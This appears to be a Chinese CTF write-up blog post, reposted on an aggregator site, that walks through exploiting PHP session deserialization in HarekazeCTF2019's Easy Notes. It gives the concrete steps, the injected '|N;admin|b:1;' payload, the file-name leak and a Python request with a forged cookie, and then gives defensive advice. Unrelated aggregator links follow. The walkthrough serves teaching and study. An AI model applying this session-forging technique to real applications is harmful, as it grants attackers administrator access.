当前位置: 首页 > news >正文

从一道CTF题看PHP Session反序列化:手把手教你复现HarekazeCTF2019的Easy Notes

从零攻破HarekazeCTF2019的Easy Notes:PHP Session反序列化实战指南

第一次参加CTF比赛时,遇到PHP Session相关的题目总让人一头雾水。那些看似无害的PHPSESSID背后究竟隐藏着什么秘密?今天我们就以HarekazeCTF2019的Easy Notes为例,彻底揭开Session反序列化的神秘面纱。不同于简单的解题脚本分享,本文将带你从PHP底层机制出发,一步步构建完整的攻击链条。

1. 环境准备与题目分析

在开始之前,建议使用Docker快速搭建一个与比赛相似的环境。以下是我的本地测试配置:

docker run -d -p 8080:80 --name harakaze_ctf \ -v /path/to/your/code:/var/www/html \ php:7.2-apache

题目核心逻辑可以归纳为三个关键点:

  1. 身份验证完全依赖Session中的is_admin标志
  2. Session文件存储在/var/www/tmp目录
  3. 笔记系统允许用户创建特定格式的文件

通过export.php的源码审计(假设我们已通过某种方式获取),发现存在路径穿越漏洞:

$filename = str_replace('..', '', $note['title']).'.'.$type;

2. PHP Session机制深度解析

PHP默认使用文件存储Session数据,其命名规则为sess_[PHPSESSID]。在Ubuntu系统中,常见的存储路径包括:

环境默认Session路径
PHP默认/tmp
Ubuntu/var/lib/php/sessions
PHPStudyC:\phpStudy\PHPTutorial\tmp\tmp

关键点在于serialize_handler的设置。当使用php引擎时(非php_serialize),Session数据会以特殊格式存储:

admin|b:1; → 反序列化为:['admin' => true]

这种格式使用竖线|作为分隔符,正是我们利用的核心。通过构造特定的输入,可以注入恶意序列化数据。

3. 构建攻击链条

完整的攻击流程分为四个阶段:

  1. 注册特殊用户名
    创建一个以sess_开头的用户名,这样笔记文件就会与Session文件同名:

    POST /login.php HTTP/1.1 user=sess_ubuntu
  2. 注入序列化数据
    通过笔记标题注入我们的payload:

    POST /add.php HTTP/1.1 title=|N;admin|b:1; body=anything

    这里的N;是为了清除之前可能存在的序列化数据

  3. 利用路径穿越获取Session ID
    触发export.php的文件下载:

    GET /export.php?type=. HTTP/1.1

    服务器返回的Content-Disposition头会泄露完整的文件名:

    attachment; filename="sess_ubuntu."
  4. 伪造Session获取flag
    最后将获取到的Session ID设置到cookie中:

    import requests cookies = {'PHPSESSID': 'ubuntu'} r = requests.get('http://target/?page=flag', cookies=cookies) print(r.text)

4. 防御方案与思考

在实际开发中,避免此类漏洞需要注意以下几点:

  • 修改Session存储路径
    在php.ini中设置非常规路径:

    session.save_path = "/custom/path"
  • 严格校验用户输入
    对文件名、Session ID等进行严格过滤:

    if (!preg_match('/^[a-zA-Z0-9]+$/', $_POST['user'])) { die('Invalid username'); }
  • 使用更安全的序列化处理器
    考虑使用php_serialize配合自定义Session处理器:

    ini_set('session.serialize_handler', 'php_serialize');

在本地测试时,我发现PHP 7.2+版本对Session处理更加严格,部分payload需要调整。建议初学者先在PHP 5.6环境下练习,再逐步过渡到新版本。

http://www.jsqmd.com/news/948263/

相关文章:

  • 气井井口压力已知时快速推算井底流压的MATLAB工具集
  • 3个现代Anki模板主题:如何让记忆卡片变得美观又高效
  • GLM-5.1办公语义理解器:让AI真正读懂任务意图与组织规则
  • WeChatExporter:永久保存你的微信聊天记忆
  • 实战应用:基于快马平台开发功能模拟版河南移动iptv
  • 东营威固官方授权门店推荐:柏年超群北二路旗舰店专业贴膜 守护行车品质 - 速递信息
  • VC6环境下用MFC开发的纯文本通讯录工具,带完整增删查改功能和源码
  • 2026 哈尔滨本地手表回收哪家靠谱?四大维度盘点五大回收门店 - 奢侈品交易观察员
  • DLSS状态指示器终极指南:如何轻松监控游戏AI超分辨率性能
  • 零基础自学网安总找不到靠谱资料?完整自学步骤全梳理,配套对应系统视频教程 + 详细学习笔记,告别碎片化学习,新手少走半年弯路
  • 动态目标无缝追踪技术白皮书
  • 3步掌握WebPlotDigitizer:从图表图像到结构化数据的思维革命
  • Jina Embeddings v2 Base DE常见问题解答:解决使用中的15个典型问题
  • WBench-weights核心模型详解:CLIP、DINOv2、Qwen2-VL等15个模型的完整对比
  • 2026多模型协同工作流:从Claude 4.6到MetaChat的智能调度实践
  • 即梦去水印保存怎么还有水印?实测这3种方法100%有效(附免费工具) - 科技热点发布
  • WebPlotDigitizer:3步将科研图表数据智能提取为Excel表格
  • Paperxie:跳出改写套路,在知网维普 AIGC 新规下解锁论文双指标优化新解法
  • 非科班零基础也能逆袭?详解网安年薪百万实现逻辑,从入门知识点到项目实战、大厂求职完整落地指南,转行收藏这一篇就足够
  • 手机号定位查询系统:3秒快速定位手机号归属地,地图直观展示
  • 车辆动力总成六自由度振动优化Matlab实操包(含调试通过代码、仿真图与参数设置指南)
  • Steam成就管理终极指南:如何使用SAM快速解锁你的游戏成就
  • 3步搞定LaTeX公式转换:LaTeX2Word-Equation完全指南
  • LLaMA.cpp生态新成员:BitCPM4-CANN-8B-gguf本地运行与优化技巧
  • 别再到处找教程了!JDK 1.8/11/17下keytool操作证书的保姆级命令手册(含Windows/Linux路径差异)
  • 淡纹抗初老眼油哪款好?实测4款高性价比眼油直击眼周干纹黑眼圈 - 全网最美
  • 除了网卡,DPDK还能加速什么?手把手配置加密引擎和基带加速器
  • 七轴机械臂避障新思路:用Python+ROS2实现零空间控制,让末端不动也能灵活调整姿态
  • 基于2008–2028年文旅数据的Python实操包:用随机森林跑通旅游收入预测与影响因子分析
  • 告别SLAM跟踪丢失就卡死!用ORB-SLAM Atlas实现多地图无缝切换的保姆级解读